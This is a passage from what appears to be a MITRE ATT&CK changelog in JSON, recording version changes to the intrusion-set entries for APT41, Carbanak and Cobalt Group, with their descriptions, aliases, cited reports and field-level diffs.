2021.", "url": "https://blog.group-ib.com/colunmtk_apt41" }, { "source_name": "Crowdstrike GTR2020 Mar 2020", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Kyaw Pyiyt Htet, @KyawPyiytHtet" ], "x_mitre_version": "3.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Kyaw Pyiyt Htet, @KyawPyiytHtet\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 00:28:08.413000+00:00\", \"old_value\": \"2021-04-26 13:13:46.915000+00:00\"}, \"root['description']\": {\"new_value\": \"[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\\n\", \"old_value\": \"[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1 @@\\n-[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)\\n+[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Group IB APT 41 June 2021\", \"old_value\": \"Crowdstrike GTR2020 Mar 2020\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.\", \"old_value\": \"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://blog.group-ib.com/colunmtk_apt41\", \"old_value\": \"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Crowdstrike GTR2020 Mar 2020\", \"description\": \"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.\", \"url\": \"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 3.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[APT41](https://attack.mitre.org/groups/G0096) is a threat gt1[APT41](https://attack.mitre.org/groups/G0096) is a threat g
>roup that researchers have assessed as Chinese state-sponsor>roup that researchers have assessed as Chinese state-sponsor
>ed espionage group that also conducts financially-motivated >ed espionage group that also conducts financially-motivated 
>operations. [APT41](https://attack.mitre.org/groups/G0096) h>operations. Active since at least 2012, [APT41](https://atta
>as been active since as early as 2012. The group has been ob>ck.mitre.org/groups/G0096) has been observed targeting healt
>served targeting healthcare, telecom, technology, and video >hcare, telecom, technology, and video game industries in 14 
>game industries in 14 countries.(Citation: FireEye APT41 Aug>countries. [APT41](https://attack.mitre.org/groups/G0096) ov
> 2019)>erlaps at least partially with public reporting on groups in
 >cluding BARIUM and [Winnti Group](https://attack.mitre.org/g
 >roups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Gr
 >oup IB APT 41 June 2021) 
" }, { "type": "intrusion-set", "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:49.021000+00:00", "modified": "2021-10-18 21:02:30.899000+00:00", "name": "Carbanak", "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)", "aliases": [ "Carbanak", "Anunak" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0008", "external_id": "G0008" }, { "source_name": "Carbanak", "description": "(Citation: Kaspersky Carbanak) (Citation: Fox-It Anunak Feb 2015)" }, { "source_name": "Anunak", "description": "(Citation: Fox-It Anunak Feb 2015)" }, { "source_name": "Kaspersky Carbanak", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" }, { "source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" }, { "source_name": "Europol Cobalt Mar 2018", "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.", "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain" }, { "source_name": "Secureworks GOLD NIAGARA Threat Profile", "description": "CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/gold-niagara" }, { "source_name": "Secureworks GOLD KINGSWOOD Threat Profile", "description": "Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain" }, { "source_name": "Fox-It Anunak Feb 2015", "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", "url": "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Anastasios Pingios" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references'][3]['url']\": \"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 21:02:30.899000+00:00\", \"old_value\": \"2021-04-26 13:17:57.921000+00:00\"}, \"root['description']\": {\"new_value\": \"[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)\", \"old_value\": \"[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Kaspersky Carbanak\", \"old_value\": \"Carbon Spider\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.\", \"old_value\": \"(Citation: Crowdstrike State of Criminal May 2016)\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"FireEye FIN7 April 2017\", \"old_value\": \"Kaspersky Carbanak\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.\", \"old_value\": \"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html\", \"old_value\": \"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"Europol Cobalt Mar 2018\", \"old_value\": \"FireEye FIN7 April 2017\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.\", \"old_value\": \"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"Secureworks GOLD NIAGARA Threat Profile\", \"old_value\": \"Fox-It Anunak Feb 2015\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.\", \"old_value\": \"Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.secureworks.com/research/threat-profiles/gold-niagara\", \"old_value\": \"https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"Secureworks GOLD KINGSWOOD Threat Profile\", \"old_value\": \"Crowdstrike State of Criminal May 2016\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021.\", \"old_value\": \"Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain\", \"old_value\": \"https://www.crowdstrike.com/blog/state-criminal-address/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][8]\": {\"source_name\": \"Fox-It Anunak Feb 2015\", \"description\": \"Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.\", \"url\": \"https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/\"}}, \"iterable_item_removed\": {\"root['aliases'][2]\": \"Carbon Spider\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Carbanak](https://attack.mitre.org/groups/G0008) is a threat1[Carbanak](https://attack.mitre.org/groups/G0008) is a cyber
>t group that mainly targets banks. It also refers to malware>criminal group that has used [Carbanak](https://attack.mitre
> of the same name ([Carbanak](https://attack.mitre.org/softw>.org/software/S0030) malware to target financial institution
>are/S0030)). It is sometimes referred to as [FIN7](https://a>s since at least 2013. [Carbanak](https://attack.mitre.org/g
>ttack.mitre.org/groups/G0046), but these appear to be two gr>roups/G0008) may be linked to groups tracked separately as [
>oups using the same [Carbanak](https://attack.mitre.org/soft>Cobalt Group](https://attack.mitre.org/groups/G0080) and [FI
>ware/S0030) malware and are therefore tracked separately. (C>N7](https://attack.mitre.org/groups/G0046) that have also us
>itation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2>ed [Carbanak](https://attack.mitre.org/software/S0030) malwa
>017)>re.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 Apr
 >il 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secure
 >works GOLD NIAGARA Threat Profile)(Citation: Secureworks GOL
 >D KINGSWOOD Threat Profile)
" }, { "type": "intrusion-set", "id": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-10-18 22:02:12.586000+00:00", "name": "Cobalt Group", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)", "aliases": [ "Cobalt Group", "GOLD KINGSWOOD", "Cobalt Gang", "Cobalt Spider" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0080", "external_id": "G0080" }, { "source_name": "Cobalt Group", "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)" }, { "source_name": "GOLD KINGSWOOD", "description": "(Citation: Secureworks GOLD KINGSWOOD September 2018)" }, { "source_name": "Cobalt Gang", "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)" }, { "source_name": "Cobalt Spider", "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)" }, { "source_name": "Talos Cobalt Group July 2018", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" }, { "source_name": "PTSecurity Cobalt Group Aug 2017", "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" }, { "source_name": "PTSecurity Cobalt Dec 2016", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" }, { "source_name": "Group IB Cobalt Aug 2017", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "url": "https://www.group-ib.com/blog/cobalt" }, { "source_name": "Proofpoint Cobalt June 2017", "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" }, { "source_name": "RiskIQ Cobalt Nov 2017", "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" }, { "source_name": "RiskIQ Cobalt Jan 2018", "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" }, { "source_name": "Europol Cobalt Mar 2018", "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.", "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain" }, { "source_name": "Secureworks GOLD KINGSWOOD September 2018", "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.", "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish" }, { "source_name": "Crowdstrike Global Threat Report Feb 2018", "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report" }, { "source_name": "Morphisec Cobalt Gang Oct 2018", "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", "url": "https://blog.morphisec.com/cobalt-gang-2.0" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][4]['url']\": \"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 22:02:12.586000+00:00\", \"old_value\": \"2021-04-26 13:27:29.519000+00:00\"}, \"root['description']\": {\"new_value\": \"[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)\", \"old_value\": \"[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"GOLD KINGSWOOD\", \"old_value\": \"Cobalt Gang\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: Secureworks GOLD KINGSWOOD September 2018)\", \"old_value\": \"(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Cobalt Gang\", \"old_value\": \"Cobalt Spider\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)\", \"old_value\": \"(Citation: Crowdstrike Global Threat Report Feb 2018)\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Cobalt Spider\", \"old_value\": \"Talos Cobalt Group July 2018\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"(Citation: Crowdstrike Global Threat Report Feb 2018)\", \"old_value\": \"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"Talos Cobalt Group July 2018\", \"old_value\": \"PTSecurity Cobalt Group Aug 2017\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.\", \"old_value\": \"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html\", \"old_value\": \"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"PTSecurity Cobalt Group Aug 2017\", \"old_value\": \"PTSecurity Cobalt Dec 2016\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.\", \"old_value\": \"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf\", \"old_value\": \"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"PTSecurity Cobalt Dec 2016\", \"old_value\": \"Group IB Cobalt Aug 2017\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.\", \"old_value\": \"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf\", \"old_value\": \"https://www.group-ib.com/blog/cobalt\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"Group IB Cobalt Aug 2017\", \"old_value\": \"Proofpoint Cobalt June 2017\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.\", \"old_value\": \"Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.group-ib.com/blog/cobalt\", \"old_value\": \"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target\"}, \"root['external_references'][9]['source_name']\": {\"new_value\": \"Proofpoint Cobalt June 2017\", \"old_value\": \"RiskIQ Cobalt Nov 2017\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.\", \"old_value\": \"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target\", \"old_value\": \"https://www.riskiq.com/blog/labs/cobalt-strike/\"}, \"root['external_references'][10]['source_name']\": {\"new_value\": \"RiskIQ Cobalt Nov 2017\", \"old_value\": \"RiskIQ Cobalt Jan 2018\"}, \"root['external_references'][10]['description']\": {\"new_value\": \"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.\", \"old_value\": \"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.\"}, \"root['external_references'][10]['url']\": {\"new_value\": \"https://www.riskiq.com/blog/labs/cobalt-strike/\", \"old_value\": \"https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/\"}, \"root['external_references'][11]['source_name']\": {\"new_value\": \"RiskIQ Cobalt Jan 2018\", \"old_value\": \"Europol Cobalt Mar 2018\"}, \"root['external_references'][11]['description']\": {\"new_value\": \"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.\", \"old_value\": \"Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.\"}, \"root['external_references'][11]['url']\": {\"new_value\": \"https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/\", \"old_value\": \"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain\"}, \"root['external_references'][12]['source_name']\": {\"new_value\": \"Europol Cobalt Mar 2018\", \"old_value\": \"Crowdstrike Global Threat Report Feb 2018\"}, \"root['external_references'][12]['description']\": {\"new_value\": \"Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.\", \"old_value\": \"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.\"}, \"root['external_references'][12]['url']\": {\"new_value\": \"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain\", \"old_value\": \"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report\"}, \"root['external_references'][13]['source_name']\": {\"new_value\": \"Secureworks GOLD KINGSWOOD September 2018\", \"old_value\": \"Morphisec Cobalt Gang Oct 2018\"}, \"root['external_references'][13]['description']\": {\"new_value\": \"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.\", \"old_value\": \"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.\"}, \"root['external_references'][13]['url']\": {\"new_value\": \"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish\", \"old_value\": \"https://blog.morphisec.com/cobalt-gang-2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['aliases'][1]\": \"GOLD KINGSWOOD\", \"root['external_references'][14]\": {\"source_name\": \"Crowdstrike Global Threat Report Feb 2018\", \"description\": \"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.\", \"url\": \"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report\"}, \"root['external_references'][15]\": {\"source_name\": \"Morphisec Cobalt Gang Oct 2018\", \"description\": \"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.\", \"url\": \"https://blog.morphisec.com/cobalt-gang-2.0\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
